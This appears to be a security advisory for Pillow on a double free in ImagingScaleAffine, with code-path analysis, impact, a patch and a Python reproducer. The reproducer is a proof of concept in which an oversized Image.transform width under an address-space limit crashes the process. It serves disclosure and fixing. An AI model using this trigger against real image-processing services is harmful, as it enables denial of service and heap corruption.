Pillow: Double free in ImagingScaleAffine on calloc failure via Image.transform

Shortest demonstration on the stock build (the address-space limit stands in for ulimit -v / uwsgi --limit-as / systemd LimitAS= on a worker):

import resource, gc
from PIL import Image
resource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2)
src = Image.new("L", (8, 8))
try:
    src.transform((300_000_000, 1), Image.Transform.EXTENT, (0, 0, 8, 8))
except MemoryError:
    pass                      # expected, and the process should carry on
gc.collect()                  # instead: SIGSEGV in _dealloc -> ImagingDelete -> free()

The 300 MB output image allocates; calloc(300000000, 4) (1.2 GB) does not. MemoryError is raised as intended, but the interpreter then dies with SIGSEGV, gdb showing free() ← memory_return_block/ImagingDestroyArray (src/libImaging/Storage.c:396,408) ← ImagingDelete (Storage.c:271) ← _dealloc (src/_imaging.c:188). An AddressSanitizer build of the same sources (with max_allocation_size_mb used to make the calloc fail instead of an rlimit) reports heap-use-after-free in ImagingDelete src/libImaging/Storage.c:257 called from _dealloc src/_imaging.c:188, on a 128-byte region "freed by" ImagingDelete ← ImagingScaleAffine src/libImaging/Geometry.c:866 ← ImagingTransformAffine Geometry.c:1043 ← ImagingTransform Geometry.c:1135 ← _transform src/_imaging.c:2153, "previously allocated by" ImagingNewPrologueSubtype Storage.c:53 ← … ← _new src/_imaging.c:756.

Code path

Image.transform() creates the output image as an ordinary Python-owned image and then transforms into it:

# src/PIL/Image.py:3008…3021
        im = new(self.mode, size, fillcolor)
        …
            im.__transformer(
                (0, 0, *size), self, method, data, resample, fillcolor is None
            )

__transformer() rewrites Transform.EXTENT into an axis-aligned affine matrix (src/PIL/Image.py:3040-3046: data = (xs, 0, x0, 0, ys, y0), method = Transform.AFFINE) and calls self.im.transform(box, image.im, method, data, resample, fill) (Image.py:3117). resample defaults to Resampling.NEAREST (Image.py:2936).

In C, _transform() passes its own image as the destination:

/* src/_imaging.c:2153 */
    imOut = ImagingTransform(
        self->image, imagep->image, method, x0, y0, x1, y1, a, filter, fill
    );

ImagingTransformAffine() takes the scaling fast path because the filter is NEAREST and the matrix has no shear:

/* src/libImaging/Geometry.c:1035-1043 */
    if (filterid || imIn->type == IMAGING_TYPE_I16) {
        return ImagingGenericTransform(…);
    }
    if (a[1] == 0 && a[3] == 0) {
        /* Scaling */
        return ImagingScaleAffine(imOut, imIn, x0, y0, x1, y1, a, fill);
    }

and ImagingScaleAffine() allocates a table of imOut->xsize ints:

/* src/libImaging/Geometry.c:863-868 */
    /* malloc check ok, uses calloc for overflow */
    xintab = (int *)calloc(imOut->xsize, sizeof(int));
    if (!xintab) {
        ImagingDelete(imOut);                         /* <-- imOut belongs to the caller */
        return (Imaging)ImagingError_MemoryError();
    }

ImagingDelete() (src/libImaging/Storage.c:250-279) drops the refcount to 0, returns the pixel blocks to the arena / free()s them via im->destroy, and free(im). self->image in the ImagingCore object still points at the freed struct. _transform() returns NULL, Image.transform() propagates MemoryError, the half-built output Image loses its last reference, and _dealloc() (src/_imaging.c:188) calls ImagingDelete(imagep->image) again: it locks im->mutex and decrements im->refcount inside freed memory, then walks im->blocks (already freed, typically reused by then) and frees every entry a second time. In the observed stock-build runs the freed blocks array had been overwritten, so free() receives a mangled pointer and the process segfaults; with other heap states it is a plain double free of a 300 MB block.

Every other error return in Geometry.c (ImagingError_ModeError, ImagingError_Mismatch, "bad filter number", "bad transform method") leaves imOut alone; line 866 is the only one that deletes it. The delete is only correct for the other caller, _resize() (src/_imaging.c:2026-2030), where imOut is a fresh ImagingNewDirty() temporary that nothing else references. The delete predates Pillow's git history: it came in with the PIL 1.1.7 import, 9a640e315715 ("Forking PIL", 2010-07-30), so every release since Pillow 1.0 is affected.

The output width is what decides whether the path is hit: the output image costs width × height × pixelsize bytes, the table an additional 4 × width. A very wide, 1-row output (300 000 000 × 1 "L": 300 MB image, 1.2 GB table) makes the table the allocation that fails. ImagingNewPrologueSubtype() caps xsize at INT_MAX/4 - 1, so the table is at most ~2 GB.

Impact

Applications that let a user choose the output size of Image.transform() — Transform.EXTENT (crop-and-scale), Transform.AFFINE with a pure scale/translate matrix, or the ImageTransform.ExtentTransform/AffineTransform helpers, all with the default NEAREST resampling — can have an allocation failure turned into a use-after-free and double free inside the worker process instead of the MemoryError the API is meant to raise. resize(), thumbnail() and rotate() do not reach this path; Image.resize(..., NEAREST, box=...) goes through ImagingScaleAffine() but owns its output, and raises a clean MemoryError. The second precondition is that the output image itself allocates but the extra 4 × width bytes do not; on 64-bit Linux with default overcommit this requires an address-space limit on the process (ulimit -v, uwsgi --limit-as, systemd LimitAS=, an in-app setrlimit), which is a common hardening for image workers; 32-bit processes can reach it through ordinary address-space exhaustion. The demonstrated consequence is a crash of the process handling the request after MemoryError has already been raised and possibly handled. The second ImagingDelete() also writes into the freed 128-byte struct (mutex, refcount) and double-frees an attacker-sized block, which is heap corruption rather than a clean abort, but no control over the written data is shown.

Reproducing

Run repro (a self-contained Python script) from any directory. It uses the installed stock build, so nothing is rebuilt, and has no companion files. It runs the demonstration above in a child interpreter (python3 -c, taking WIDTH as an argument): the child disables core files, sets RLIMIT_AS to 1 GB (the kind of limit image workers are commonly given), creates an 8×8 "L" image, calls src.transform((WIDTH, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) with the default NEAREST resampling, prints MemoryError caught if that raises, then runs gc.collect() and prints alive. EXTENT with NEAREST is a pure scale, so the call goes through ImagingScaleAffine(), which callocs a 4 × WIDTH-byte table in addition to the WIDTH-byte output image.

The script runs the child twice:

• Control: width 50 000 000. The 50 MB image and the 200 MB table both fit under the limit, and the transform succeeds, which shows the limit itself is harmless.
• Attack: width 300 000 000. The 300 MB output image is allocated, but calloc(300000000, 4) (1.2 GB) fails. Pillow correctly raises MemoryError, and the child catches it. But ImagingScaleAffine() has already called ImagingDelete() on the output image it does not own. When the output image is released, it is freed again. The child prints MemoryError caught and then dies with SIGSEGV instead of printing alive.

If the attack child was killed by a signal and gdb is installed, the script runs the attack again under gdb and prints the backtrace. The crash is in free() ← memory_return_block/ImagingDestroyArray (Storage.c:396,408) ← ImagingDelete (Storage.c:271) ← _dealloc (_imaging.c:188). In other words, the Python object's destructor is deleting the already-freed struct a second time. The verdict does not depend on this step.

The last line is BUG when the control exits 0 and the attack prints MemoryError caught and then dies from a signal without printing alive. Otherwise it is OK. With the attached patch applied, the attack prints MemoryError caught, then alive, exits 0, and the script prints OK.

Suggested fix

ImagingScaleAffine() never owns imOut. The attached patch removes the ImagingDelete() at src/libImaging/Geometry.c:866 and makes the one caller that relied on it, _resize() in src/_imaging.c, clean up its own temporary, the same idiom _gaussian_blur()/_unsharp_mask() already use. This also fixes _resize() passing a possible NULL from ImagingNewDirty() into ImagingTransform(), and leaking the temporary on the other ImagingTransform() error returns:

--- a/src/libImaging/Geometry.c
+++ b/src/libImaging/Geometry.c
@@ -863,7 +863,7 @@ ImagingScaleAffine(
     /* malloc check ok, uses calloc for overflow */
     xintab = (int *)calloc(imOut->xsize, sizeof(int));
     if (!xintab) {
-        ImagingDelete(imOut);
+        /* imOut is owned by the caller; don't delete it here */
         return (Imaging)ImagingError_MemoryError();
     }
--- a/src/_imaging.c
+++ b/src/_imaging.c
@@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) {
         a[5] = box[1];
 
         imOut = ImagingNewDirty(imIn->mode, xsize, ysize);
+        if (!imOut) {
+            return NULL;
+        }
 
-        imOut = ImagingTransform(
-            imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1
-        );
+        if (!ImagingTransform(
+                imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1
+            )) {
+            ImagingDelete(imOut);
+            return NULL;
+        }
     } else {

Every ImagingTransform*() path returns the same imOut on success, so wrapping the original pointer in PyImagingNew() in _resize() is unchanged behaviour. With the patch applied to a clean checkout and rebuilt, the reproducer prints OK and Image.resize(..., NEAREST, box=...) under the same limit raises a clean MemoryError.

The patch

Stop ImagingScaleAffine() deleting the caller-owned output image on calloc failure; make _resize() free its own temporary instead

Applies to src/libImaging/Geometry.c at the commit above.

diff --git a/src/_imaging.c b/src/_imaging.c
index 7e9c0e391..ac1873292 100644
--- a/src/_imaging.c
+++ b/src/_imaging.c
@@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) {
         a[5] = box[1];
 
         imOut = ImagingNewDirty(imIn->mode, xsize, ysize);
+        if (!imOut) {
+            return NULL;
+        }
 
-        imOut = ImagingTransform(
-            imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1
-        );
+        if (!ImagingTransform(
+                imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1
+            )) {
+            ImagingDelete(imOut);
+            return NULL;
+        }
     } else {
         imOut = ImagingResample(imIn, xsize, ysize, filter, box);
     }
diff --git a/src/libImaging/Geometry.c b/src/libImaging/Geometry.c
index 1bf92e26e..2baf000a5 100644
--- a/src/libImaging/Geometry.c
+++ b/src/libImaging/Geometry.c
@@ -863,7 +863,7 @@ ImagingScaleAffine(
     /* malloc check ok, uses calloc for overflow */
     xintab = (int *)calloc(imOut->xsize, sizeof(int));
     if (!xintab) {
-        ImagingDelete(imOut);
+        /* imOut is owned by the caller; don't delete it here */
         return (Imaging)ImagingError_MemoryError();
     }

The reproducer

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

#!/usr/bin/env python3
# UAF/double free in ImagingScaleAffine() (src/libImaging/Geometry.c:866):
# on calloc() failure it ImagingDelete()s imOut, which for Image.transform()
# is the Imaging struct owned by the live Python output image; that image's
# _dealloc then ImagingDelete()s it again. Stock /src build, no rebuild.
# A 1 GB RLIMIT_AS makes the 300 MB output image fit but the 1.2 GB
# 4*width lookup table fail. Expected: MemoryError, process survives.
import subprocess, sys, textwrap, signal

child = textwrap.dedent('''
    import resource, gc, sys
    from PIL import Image
    resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
    resource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2)
    w = int(sys.argv[1])
    src = Image.new("L", (8, 8))
    try:
        src.transform((w, 1), Image.Transform.EXTENT, (0, 0, 8, 8))
        print("transform ok")
    except MemoryError:
        print("MemoryError caught")
    gc.collect()
    print("alive")
''')

def run(width):
    p = subprocess.run([sys.executable, "-u", "-c", child, str(width)],
                       capture_output=True, text=True, timeout=50)
    print(f"-- width={width}: rc={p.returncode}\n{p.stdout.rstrip()}")
    return p

ctrl = run(50_000_000)      # 50 MB image + 200 MB table fit under the limit
att = run(300_000_000)      # 300 MB image fits, 1.2 GB table does not
bug = (ctrl.returncode == 0 and "MemoryError caught" in att.stdout
       and "alive" not in att.stdout and att.returncode < 0)
if att.returncode < 0:
    print("attack child killed by", signal.Signals(-att.returncode).name)
    import shutil
    if shutil.which("gdb"):   # evidence only; verdict does not depend on it
        g = subprocess.run(["gdb", "-q", "-batch", "-ex", "run", "-ex", "bt 6", "--args",
                            sys.executable, "-c", child, "300000000"],
                           capture_output=True, text=True, timeout=120)
        print("\n".join(l for l in g.stdout.splitlines()
                        if l.startswith("#") or "signal" in l))
print("BUG" if bug else "OK")